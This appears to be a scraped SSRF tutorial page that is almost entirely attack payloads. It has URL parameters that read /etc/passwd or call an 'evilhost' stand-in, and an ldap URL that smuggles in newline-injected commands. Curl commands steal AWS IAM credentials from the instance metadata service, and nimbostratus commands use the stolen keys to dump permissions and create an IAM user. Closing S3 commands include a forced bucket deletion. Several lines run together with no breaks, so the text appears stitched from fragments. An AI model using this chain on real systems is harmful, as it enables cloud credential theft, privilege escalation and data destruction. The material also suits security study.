Server-side request forgery
In this section, I will explain what server-side request forgery is, describe some common examples, and explain how to find and exploit various kinds of SSRF vulnerabilities.
Cập nhật lần cuối
http://[host]/page.php?url=file:///etc/passwd
http://[host]/page.php?url=dict://[evilhost]:1234/
http://[host]/page.php?url=sftp://[evilhost]:1234/
http://[host]/page.php?url=ldap://localhost:1234/%0astats%0aquitTOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/ami-id
ami-launch-index
...
public-keys/
security-groupscurl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/iam/security-credentials/SomeRole
{
"Code" : "Success",
"LastUpdated" : "2019-12-03T18:08:16Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "V...",
"Token" : "SomeBase64==",
"Expiration" : "2019-12-04T00:17:43Z"
}sudo python nimbostratus dump-permissions --access-key=ASIA... --secret-key=V...sudo python nimbostratus create-iam-user --access-key=ASIA... --secret-key=p...aws s3 mb s3://bucket-name # create a bucket
aws s3 ls # list buckets
aws s3 ls s3://bucket-name # list things in a bucket
aws s3 rb s3://bucket-name --force # delete bucket + contents